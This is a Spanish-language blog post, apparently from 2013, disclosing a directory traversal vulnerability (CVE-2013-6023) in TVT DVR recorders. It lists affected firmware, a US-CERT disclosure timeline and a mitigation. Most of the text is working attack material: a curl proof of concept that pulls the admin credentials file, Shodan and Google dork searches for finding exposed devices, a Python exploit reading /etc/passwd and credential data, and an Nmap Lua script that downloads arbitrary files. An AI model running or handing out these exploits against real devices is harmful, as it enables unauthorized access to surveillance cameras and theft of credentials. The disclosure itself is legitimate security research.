viernes, 25 de octubre de 2013

DVR TVT - Directory Traversal


Fig. 1 - DVR TVT Serie TD-2300SS

Descripción:

El dispositivo DVR modelo TD-2308SS-B de la marca TVT es vulnerable a "Directory Traversal". Un atacante puede usar esta vulnerabilidad para descargar ficheros con información sensible como por ejemplo el fichero "config.dat" que contiene las credenciales para acceder a la interfaz web del dispositivo.

El fichero "config.dat" se puede procesar con el comando "strings" para obtener las credenciales de administración en texto plano.


Detalles

Se realizaron pruebas con el siguiente equipo:

Nombre: H.264 Digital Video Recorder
Fabricante: TVT Digital Technology Co.
Modelo: TD-2308SS-B
Versión de firmware: 3.2.0.P-3520A-00
Fecha de lanzamiento: 2012/11/21

Otras versiones de firmware vulnerables:
  • 3.1.43.B
  • 3.1.43.P
  • 3.1.6.P-1.0.2.1-03
  • 3.1.75.B-1.0.2.1-00
  • 3.1.7.B-1.0.2.1-00
  • 3.1.81.B-1.0.2.1-00
  • 3.1.83.B-1.0.2.1-00
  • 3.1.83.P-1.0.4.2-03
  • 3.1.87.P-1.0.4.2-17
  • 3.1.91.P-1.0.2.1-03
  • 3.1.92.P-1.0.2.1-00
  • 3.1.93.B-1.0.2.1-17
  • 3.2.0.B-1.0.2.1-17
  • 3.2.0.P-1.0.2.1-03
  • 3.2.0.P-1.0.2.1-17
  • 3.2.0.P-1.0.6.0.32-00
  • 3.2.0.P-3520A-03
  • 3.2.0.P-3531-00
  • 3.2.0.P-3531-11
  • 3.2.0.P-FH-00
  • 3.2.9.P-3520A-06

Nota: Es probable que también estén afectadas otras versiones del firmware.

PoC

# curl http://[DIRECCION IP]/../../../mnt/mtd/config/config.dat 2>/dev/null | strings

Fig. 2 - Obtención de credenciales de acceso.

Fig. 3 - Cámaras de vídeo vistas desde el cliente web.

Impacto

Un atacante remoto puede descargar el archivo de configuración del dispositivo (sin necesidad de iniciar sesión) y obtener las credenciales del usuario administrador para acceder a la interfaz web. Desde la interfaz web es posible cambiar la configuración del dispositivo y acceder a las cámaras conectadas.

Este dispositivo devuelve el valor "Cross Web Server" en la cabecera Server del protocolo HTTP. Podemos usar dicho valor para buscar dispositivos vulnerables en Shodan. Estos fueron los resultados de la búsqueda:

Fig. 4 - 416203 dispositivos en todo el mundo.

Fig. 5 - 811 dispositivos en Perú.

Solución

Se recomienda restringir el acceso al dispositivo. Si es posible, empleando una VLAN de administración o mediante listas de IPs permitidas.

Referencias

[1] http://cwe.mitre.org/data/definitions/22.html
[2] http://en.tvt.net.cn/product.aspx?TypeId=1
[3] http://www.kb.cert.org/vuls/id/785838

Disclosure Timeline

[2013/09/08] - Reporte de la vulnerabilidad a US-CERT
[2013/09/10] - Respuesta de US-CERT
[2013/10/25] - Publicación de la vulnerabilidad

Creditos
  • Adam Rauf: Por coordinar la publicación responsable y escribir el reporte oficial en cert.org
  • Preston Shirah: Por el descubrimiento de la vulnerabilidad en 2012. El descubrimiento de este fallo no se reportó en ese momento.
  • Cesar Neira: Por el descubrimiento de la vulnerabilidad en 2013 y el reporte responsable esta.

Exploits

Exploit en python por Preston Shirah
#!/usr/bin/python
# Directory traversal and password disclosure exploit for Q-SEE QT series #DVR. This web server appears to be included in other models of rebranded #Security camera DVR's as well.
# Google dork to find vulnerable hosts - inurl:":8080\webcamera.html"
#USAGE - ./DVR.py <HOSTNAME/IP>
import requests
import re
import sys

host = sys.argv[1]
r=requests.get('http://'+ str(host)+ ':8080/../../../../../../../etc/passwd')
if r.status_code == 200:
 print "Grabbing /etc/passwd for grins."
 print r.content
 # Request /proc/self/fd/5
 pwn=requests.get('http://'+ str(host)+ ':8080/../../../../../../../proc/self/fd/5')
 print " Username and password is in this jumble of strings. Default username is admin\n\n"

 # Regex out everything except characters in ascii range 32-136 or    #x20-x73 
 print re.sub("[^\x20-\x7E]", '', pwn.content)
else:
 print str(r.status_code) + " Error"
 exit(0)

Exploit en Lua para Nmap por Cesar Neira
local http = require "http"
local table = require "table"
local stdnse = require "stdnse"
local vulns = require "vulns"
local pcre = require "pcre"
local io = require "io"

description = [[
TVT TD-2308SS-B DVR and possibly other models running firmware version 
3.2.0.P-3520A-00 contain a directory traversal vulnerability. An attacker 
can use directory traversal to download critical files such as the 
config.dat file for the device which contains the credentials for the web 
interface. For example:

http://[IP ADDRESS]/../../../mnt/mtd/config/config.dat

This file can be parsed with the strings command to reveal the administrative 
user's plaintext credentials.

Advisory:
- http://www.kb.cert.org/vuls/id/785838
- http://alguienenlafisi.blogspot.com/2013/10/dvr-tvt-directory-traversal.html
]]
author = "Cesar Neira"
license = "Free as free beer"
categories = {"exploit", "vuln"}

---
--
-- @usage nmap -p 80 --script http-tvtdvr-dir-traversal.nse <target>
-- @usage nmap -p 80 --script http-tvtdvr-dir-traversal.nse --script-args targetfile=/etc/passwd,outfile=/tmp/passwd <target>
--
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-tvtdvr-dir-traversal: 
-- |   VULNERABLE:
-- |   TVT TD-2308SS-B DVR contains a directory traversal vulnerability
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2013-6023
-- |     Risk factor: High  CVSSv2: 7.8 (HIGH) (AV:N/AC:L/Au:N/C:C/I:N/A:N)
-- |     Description:
-- |       TVT TD-2308SS-B DVR and possibly other models running firmware version 3.2.0.P-3520A-00 contain a directory traversal vulnerability.
-- |       An attacker can use directory traversal to download critical files such as the config.dat file for the device which contains the credentials for the web interface.
-- |     Disclosure date: 2013-10-25
-- |     Exploit results:
-- |       /etc/passwd saved to /tmp/passwd
-- |       /etc/passwd:
-- |   root:$1$$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/sh
-- |   
-- |   
-- |     References:
-- |       http://www.kb.cert.org/vuls/id/785838
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6023
-- |_      http://alguienenlafisi.blogspot.com/2013/10/dvr-tvt-directory-traversal.html
--
-- @args http-tvtdvr-dir-traversal.targetfile The target file to download. Default: /mnt/mtd/config/config.dat
-- @args http-tvtdvr-dir-traversal.strings If set to "Y" only display printable strings in target file. Default: "Y"
-- @args http-tvtdvr-dir-traversal.outfile If set it saves the target file to this location.
--
---

local DEFAULT_TARGET_FILE = "/mnt/mtd/config/config.dat"
local DIRECTORY_TRAVERSAL = "/../../.."

portrule = function(host, port)
    return (
        port.service == "http" and
        port.protocol == "tcp" and
        port.state == "open")
end

local check_vuln = function(host, port)
    local response = http.get(host, port, "/../../../etc/shadow")
    if response.body and response.status == 200 and response.body:match("root:") then
        return true
    end
    
    response = http.get(host, port, "/../../../etc/passwd")
    if response.body and response.status == 200 and response.body:match("root:") then
        return true
    end
    
    return false
end

local write_file = function(filename, contents)
    local f, err = io.open(filename, "w")
    if not f then
        return f, err
    end
    f:write(contents)
    f:close()
    return true
end

action = function(host, port)
         local vuln = {
          title = "TVT TD-2308SS-B DVR contains a directory traversal vulnerability",
          state = vulns.STATE.NOT_VULN,
          IDS = {CVE = 'CVE-2013-6023'},
          risk_factor = "High",
          scores = {
            CVSSv2 = "7.8 (HIGH) (AV:N/AC:L/Au:N/C:C/I:N/A:N)",
          },
          description = [[
TVT TD-2308SS-B DVR and possibly other models running firmware version 3.2.0.P-3520A-00 contain a directory traversal vulnerability.
An attacker can use directory traversal to download critical files such as the config.dat file for the device which contains the credentials for the web interface.]],
          references = {
            "http://www.kb.cert.org/vuls/id/785838",
            "http://alguienenlafisi.blogspot.com/2013/10/dvr-tvt-directory-traversal.html"
          },
          dates = {
            disclosure = {year = '2013', month = '10', day = '25'},
          },
          exploit_results = {},
        }
        
        local target_file = stdnse.get_script_args(SCRIPT_NAME .. ".targetfile") or DEFAULT_TARGET_FILE
        local output_file = stdnse.get_script_args(SCRIPT_NAME .. ".outfile")
        local strings = stdnse.get_script_args(SCRIPT_NAME .. ".strings") or "Y"
        
        local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
        
        local is_vulnerable = check_vuln(host, port)
        
        if is_vulnerable then
            vuln.state = vulns.STATE.EXPLOIT
            local response = http.get(host, port, DIRECTORY_TRAVERSAL .. target_file)
            if response.body and response.status == 200 then
                if output_file then
                    local status, err = write_file(output_file,  response.body)
                    if status then
                        table.insert(vuln.exploit_results, string.format("%s saved to %s", target_file, output_file))
                    else
                        table.insert(vuln.exploit_results, string.format("Error saving %s to %s: %s", target_file, output_file, err))
                    end
                end
                
                if strings == "Y" then
                    regex = pcre.new("^[[:print:]]+$", 0 , "C")
                    local cads = stdnse.strsplit("\0+", response.body)
                    local strings_only = ""
                    for index, cad in pairs(cads) do
                        local limit, limit2, match = regex:match(cad)
                        if ( limit ~= nil ) then
                            strings_only = strings_only .. cad .. "\n"
                        end
                    end
                    table.insert(vuln.exploit_results, target_file .. ":\n" .. strings_only)
                else
                    table.insert(vuln.exploit_results, target_file .. ":\n" .. response.body)
                end
            end
        end
        
        return vuln_report:make_output(vuln)
end

2 comentarios:

  1. Genial!! Muy bien llevado a cabo todo, explicación, versiones afectadas y disclosure.

    Enhorabuena por el fallo!

    ResponderEliminar